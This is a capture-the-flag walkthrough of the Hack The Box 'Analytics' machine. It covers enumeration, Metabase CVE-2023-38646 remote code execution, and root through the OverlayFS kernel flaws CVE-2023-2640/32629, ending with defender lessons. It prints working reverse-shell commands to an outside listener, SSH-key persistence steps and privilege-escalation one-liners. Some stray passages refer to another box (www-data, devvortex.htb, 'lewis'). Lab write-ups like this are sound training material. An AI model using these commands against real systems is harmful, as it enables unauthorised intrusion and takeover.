Analytics

INTRODUCTION

At the time of writing this walkthrough, Analytics is still active. The box centers around a fictional analytics company that provides data analysis services using the infrastructure they’re hosting. The company is running a popular open-source analytics / BI platform. This box uses a modern architecture, reflective of how real websites run these days (when they’re on-prem).

For each step of Analytics, the skill emphasis is placed firmly on enumeration. Combining effective enumeration skills with some good research is well-rewarded at every step of this box. For this box, foothold, user, and root are each only a single step. Once you research the right things, it should all fall right into your lap. Have some fun with this one; use this opportunity to sharpen your enumeration toolset.

title picture

RECON

nmap scans

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

Not shown: 81 closed udp ports (port-unreach)
PORT      STATE         SERVICE        VERSION
9/udp     open|filtered tcpwrapped
53/udp    open|filtered domain
68/udp    open|filtered tcpwrapped
111/udp   open|filtered rpcbind
177/udp   open|filtered xdmcp
514/udp   open|filtered tcpwrapped
515/udp   open|filtered tcpwrapped
593/udp   open|filtered tcpwrapped
626/udp   open|filtered serialnumberd
1022/udp  open|filtered tcpwrapped
1646/udp  open|filtered tcpwrapped
4444/udp  open|filtered tcpwrapped
17185/udp open|filtered wdbrpc
20031/udp open|filtered tcpwrapped
31337/udp open|filtered BackOrifice
32771/udp open|filtered sometimes-rpc6
49181/udp open|filtered unknown
49191/udp open|filtered unknown
49201/udp open|filtered unknown

Note that these are open|filtered, so there’s a very good chance these probes were simply dropped instead of actually open.

Webserver Strategy

Noting the redirect from the nmap scan, I added analytical.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=analytical.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

Nothing out of the ordinary there.

Next I performed vhost enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results from the vhost scan. Now I’ll do a vhost scan, checking for subdomains of analytical.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/subdomain-$DOMAIN.md -of md -timeout 4 -ic -ac -v

Just for good measure, I’ll do a subdomain scan for http://analytical.htb:

ffuf -w $WLIST -u http://FUZZ.$DOMAIN -c -t 60 -o fuzzing/subdomain-$DOMAIN.md -of md -timeout 4 -ic -ac -v

I’m not sure why, but scanning for subdomains using the second method always goes much slower than the first method.

./subdomain.png

Ok, so data.analytical.htb exists (but, skipping ahead, even a quick check of the Login page would have shown the same thing) I’ll add it to my /etc/hosts file:

echo "$RADDR data.$DOMAIN" | sudo tee -a /etc/hosts

So far, I know about analytical.htb and data.analytical.htb. I’ll do directory enumeration over those two next. First up, analytical.htb:

🤔 To be honest, I still don’t have a favourite directory enumeration tool:

Often, I favor ffuf for directory enumeration, for its extensive options. Other times, I like the simplicity of gobuster. And if I want to enumerate very deeply, I’ll use feroxbuster.

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt" 
OUTPUT="fuzzing/directory"

# This is what I often use:
# ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o "$OUTPUT.json" -of json -e php,asp,js,html -timeout 4 -v

gobuster dir -w $WLIST -u http://$DOMAIN \
--random-agent -t 10 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "$OUTPUT-$DOMAIN.txt" \
--no-error

Directory enumeration against http://analytical.htb/ gave the no results.

Next, I’ll do directory enumeration on the subdomain, data.analytical.htb. Due to the amount of false-positives, I had to set some length filters on the results:

ffuf -w $WLIST:FUZZ -u http://data.$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o "data.$DOMAIN-$OUTPUT.json" -of json -e php,html -timeout 4 -v -fw 3574,1

Directory enumeration against http://data.analytical.htb/ didn’t give any interesting results. Just a few unimportant pages showed up in the scan.

Exploring the website

Navigating to the /login page shows that this website is running Metabase, an open source Analytics/BI platform:

login page

Just to check the obvious, I did a web search for “Metabase CVE” to see if there was anything. As it turns out, there’s plenty - including one fairly recent Critical (9.8): CVE-2023-38646. But is this server vulnerable? A quick check of http://data.analytical.htb/api/session/properties exposes all kinds of juicy info, including:

  • the version number: 0.46.6
  • the setup token (see below): 249fa03d-fd94-4d5b-b94f-b4ebf3df681f
  • a bunch of database connection information

Lucky for us, according to the NIST entry this version of Metabase might be vulnerable 👍 I’m sure there’s some excellent PoC code waiting to be used.

FOOTHOLD

Testing for vulnerability

After trying a few different PoC exploits, I eventually found this one, by @robotmikhro. The way to test for the vulnerability is by running the provided PoC, and attempting to get the target Metabase server to make a request to a webserver under your control (many people use Burp Collaborator for this). Many PoC tools require you to obtain the setup token from http://data.analytical.htb/api/session/properties first, but this tool detects it for you.

So, to try this out, first I need to start up a webserver:

# open the firewall and start up an http server
sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
mkdir www; cd www
python3 -m http.server 8000
# run the PoC code
python3 single.py -u http://data.analytical.htb -c 'curl http://10.10.14.9:8000/itworked'

CVE-2023-38646 1

CVE-2023-38646 2

Bingo! That means it’s vulnerable.

The exploit works by making a POST request to /api/setup/validate, using a specially crafted payload. Within that payload is a bogus definition of which database to query. The definition we provide will actually contain a command that we inject (above, just a simple curl request).

Gaining RCE

I’ll try using this exploit to form a reverse shell. No need to play with encoding: this exploit handles that already. First, I’ll try a bash reverse shell:

# switch to bash, instead of zsh
bash
socat -d TCP-LISTEN:4444 STDOUT
python3 single.py -u http://data.analytical.htb -c 'bash -i >& /dev/tcp/10.10.14.9/4444 0>&1'

Hmm, no result… 🤔 I’ll try having the target reach out to my listener over nc instead, just to see if it can make contact using nc at all.

python3 single.py -u http://data.analytical.htb -c 'nc 10.10.14.9 4444'

reverse shell attempt 1

Ok, so it contacted my listener. I’ll try some other reverse shells:

# nc with bash
python3 single.py -u http://data.analytical.htb -c 'nc 10.10.14.9 4444 -e bash' # Connection received but closed right away

# Bash 196
python3 single.py -u http://data.analytical.htb -c '0<&196;exec 196<>/dev/tcp/10.10.14.9/4444; bash <&196 >&196 2>&196' # Success!

reverse shell attempt 2

Excellent! the Bash 196 reverse shell worked. I’m not yet sure why that one worked and the others didn’t. It’ll probably become apparent later.

🎁 One of my favourite tools lately is the Reverse Shell Generator at https://www.revshells.com/ by @0dayCTF.

Simply pop in your IP address and listener port, then specify what type of shell you want (and what type of encoding to use), and it handles all of the rest for you. I find it very handy for experimenting with many different reverse shell types without too much effort! 10/10 👍

USER FLAG

Enumeration: metabase

First things first, let’s do some simple enumeration of the system. What notable users exist?

id && cat /etc/passwd | grep -v nologin | grep -v /bin/false
root:x:0:0:root:/root:/bin/ash
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
metabase:x:2000:2000:Linux User,,,:/home/metabase:/bin/ash

Interesting: metabase appears to be the only user with a home directory. That’s either a good thing (that we can go straight to the user flag) or a bad thing (we’re probably in a docker container). It’s probably the latter.

A quick check of the home directory confirms it: there is no flag present. Thankfully though, we have write access to the home directory - so why not take this opportunity to plant an SSH key?

# On the attacker machine, generate a new key
ssh-keygen -t rsa -b 4096 # I used passphrase "5parrow"
chmod 700 ./id_rsa
base64 -w 0 id_rsa.pub > id_rsa.pub64
cat id_rsa.pub64 # copy output to clipboard

# On the target machine, write the public key into authorized_keys
echo “c3NoLX...hvc3Q=” | base64 --decode > /home/metabase/.ssh/authorized_keys

☝️ I find it useful to write the base64-encoded public key to a file. Often enough, you’ll need to reset the box, re-exploit, and re-plant the SSH key. All that becomes incrementally easier if you take good notes on your exploit and public key.

ssh fail

Hmm… Attempting to log in via SSH was unsuccessful. Apparently the target machine does not allow for login with a key only. That’s fine. I’ll just upgrade my shell instead.

Please see my guide on upgrading the shell for more details. I wrote it only a couple days ago 😄

Unfortunately, none of that is really working. I can’t even switch into bash - still stuck in sh! 😬

Oh well, I’ll continue on with enumeration using this dumb shell. Checking env (one of the first things I do when I start linux enumeration) reveals some very interesting details:

env

That looks like a credential for Metabase itself: metalytics : An4lytics_ds20223# I’ll try it on the website first, and hope for a re-used credential elsewhere.

metabase login new creds

Nope, it looks like I can’t use just a username as a login… I’ll need an email address.

I tried “metalytics@metabase.htb” with no success. Realizing I probably should have used a known/confirmed domain, I tried metalytics@analytical.htb:

metabase dashboard

Success! I’ll take a look at the dashboard in a little bit 🚩. For now, I want to check for credential re-use with SSH:

ssh success

🎉 Wonderful! Now I have a much nicer shell to use, and a way to log back in without re-exploiting. Not only that, but metalytics has a home directory, and they have the user flag! Read the flag for some points:

cat /home/metalytics/user.txt

That was probably the fastest and easiest escape from a docker container I’ve ever experienced 🐳

Optional: Planting a new SSH key

I already generated an ssh key for this box; I’ll go ahead and plant it into metalytics so that I can make an ssh config file on my attacker box. The result is simply that I won’t need to use the password to connect in the future (and that it’s good practice).

Note that this would be foolish to do on an actual engagement: it unnecessarily leaves behind obvious evidence of your intrusion.

# On the attacker machine:
cat id_rsa.pub64 # copy to clipboard
RUSER=metalytics
echo "Host $RUSER\n\tHostName $RADDR\n\tUser $RUSER\n\tIdentityFile ./id_rsa\n\tIdentitiesOnly yes" > ssh_config_$RUSER

# On the target machine, paste the base64 pubkey:
mkdir -p ~/.ssh; echo "c3NoL...bGkK" | base64 -d >> ~/.ssh/authorized_keys

# Log in from attacker machine:
ssh -F ssh_config_$RUSER $RUSER

ROOT FLAG

Enumeration: metalytics

Set up convenient alias and a tmp directory for my toolbox:

alias ll="ls -lah" && mkdir -p /tmp/.Tools && chmod 770 /tmp/.Tools

What other users are on this box?

id && cat /etc/passwd | grep -v nologin | grep -v /bin/false

Looks like just metalytics and root. Can I sudo anything?

# Can I `sudo` anything?
sudo -l # nope

# Any interesting environment variables?
env # nothing unexpected

# Find where www-data has write permissions
find / -user $USER 2>/dev/null  | grep -v '^\(/sys\|/proc\|/run\)'
find / -group $USER 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'

Only the home directory is writable by metalytics. Output is omitted for clarity, but the gist is that www-data has write permissions to /var/www/devvortex.htb, /var/www/dev.devvortex.htb, and /etc/nginx. What about notable software?

which nc netcat socat curl wget python python3 perl php tmux

The box has nc, netcat, curl, wget, python3, perl, tmux.

What listening services are running?

netstat -tulpn | grep LISTEN

netstat

We already knew about SSH and HTTP from the initial nmap scans, but now we also know DNS and MySQL are listening. Is cron running anything notable?

crontab -l ; cat /etc/crontab ; ls -laR /etc/cron

No, nothing interesting there. Let’s take a quick look for SUID/SGID executables, and for files with extra capabilities:

find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'; getcap -r / 2>/dev/null

Also nothing out of the ordinary in there.

Let’s check for simple, system-wide vulnerabilities like kernel or sudo:

First I’ll look into sudo:

sudo --version
# Sudo version 1.9.9
# Sudoers policy plugin version 1.9.9
# Sudoers file grammar version 48
# Sudoers I/O plugin version 1.9.9
# Sudoers audit plugin version 1.9.9

Hmm, my attacker box is running sudo version 1.9.15p5. Again, not ancient, but a little old. I’ll run it through searchsploit:

searchsploit sudo

🤤 That looks very promising! I remember hearing about some sudo vulnerability a few months back. Examining the exploit with searchsploit -x 51217 shows that it pertains to CVE-2023-22809, a vulnerability in how sudo parses positional arguments following a -- break. It’s just a shell script, so why not give it a try?

# on the attacker box
cp /usr/share/exploitdb/exploits/linux/local/51217.sh ~/Box_Notes/Analytics/Tools/
cd ~/Box_Notes/Analytics/Tools/
python3 -m http.server 8000

# on the target box
cd /tmp/.Tools
wget http://10.10.14.9:8000/51217.sh
chmod +x 51217.sh
./51217.sh # run it

No luck! I tried a few different PoC scripts that I found on github for this CVE as well - all had no effect.

Next, I’ll check the kernel and look for an exploit:

uname -a # or alternatively, use cat /proc/version

# Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

Ok, 6.2.0 is definitely not the newest, but it’s not ancient either. I cross-referenced this against the list of kernel exploits in this github repo and found nothing. However, when I did a web search for this specific version of the kernel, I found several mentions of a CVE. Actually a pair of CVEs used in conjunction: CVE-2023-2640 & CVE-2023-32629, cutely dubbed Game Overlay.

Surprise, surprise: a little more searching turned up a PoC exploit:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"

kernel exploit

Wait, what?! Did it actually work? Sometimes these filesystem exploits seem like witchcraft. I’ll try modifying the PoC into a reverse shell. I’ll start out with a base64-encoded bash shell:

# On the attacker box, open the firewall and start a listener
sudo ufw allow from $RADDR to any port 4445 proto tcp
socat -d TCP-LISTEN:4445 STDOUT

# On the target box, try the modified payload:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDUgMD4mMQ== | base64 -d | bash -i \")'"

kernel exploit 2

😐 Partial success? I definitely just got a reverse shell as root, but in doing so… the whole filesystem lost its directory permissions?

I’ll be honest, definitely never seen that before 👀

Thankfully, if I exit out of the “root” reverse shell, it terminates the connection and brings my old SSH connection back into metalytics. I wonder why that’s happening. I’ll try to find some other PoC scripts for these CVEs and see if I get the same result.

I found another PoC that is a little more sophisticated, by @g1vi. It works on the same principle, but instead it copies bash into a directory and sets the SUID bit on it. Then, once you exit from the root user, the whole thing cleans itself up - nice!

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

kernel exploit 3

🍒 Alright! That did it!

It’s unclear to me why the first one had that strange effect: changing all the filesystem’s permissions. The major difference between the two is that the former is two separate commands, while the latter runs the whole payload through a sh -c call.

Now that I can access /root, just cat the flag for the root points! 👏

LESSONS LEARNED

two crossed swords

Attacker

  • Check for CVEs early and often. As soon as you fingerprint the target (or identify the version of an application that might be a PE vector), do a very quick search online and see if any CVEs apply. Often enough, this will point you in the right direction and prevent you from re-inventing the wheel. If you’re lucky, there will even be some PoC code, saving even more time.
  • Don’t be afraid to try new shells: For this box, I had to use a reverse shell that I had only used once before. Thankfully, with tools like https://www.revshells.com/, it becomes very fast and easy to switch the type of reverse shell you’re using.
  • Use a checklist. It’s really easy to overlook tiny details and have them fade into the overwhelming mess of information that you sift through while enumerating. When you’re hacking, the devil is in the details. Stick to a checklist and be methodical. For each item in the checklist, try to apply a little research to the box’s little details. Often enough, this pedantic habit save you hours of time.
two crossed swords

Defender

  • Stay on top of breaking news with CVEs. Or better yet, keep your code on Github and use one of their awesome vulnerability-scanning tools. As an administrator, it’s best to automate whatever you can. Not only will it save you time, it can act as an early-warning system to act against emerging vulnerabilities and exploits.

  • Avoid credential re-use. There is no good reason to justify why lewis re-used their credential for the database. It’s just sloppy and lazy, making the attacker’s job substantially easier.

  • Keep secrets out of env . When possible, be sure to unset shell variables. Try to use a proper .env file instead. Better yet, just abstract-away the problem by having your CMS handle the secrets for you.

  • Minimize privileges that might be risky. Why was the metalytics user able to use OverlayFS at all? The privesc to root could have been prevented by keeing OverlayFS out of the hands of unprivileged users.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake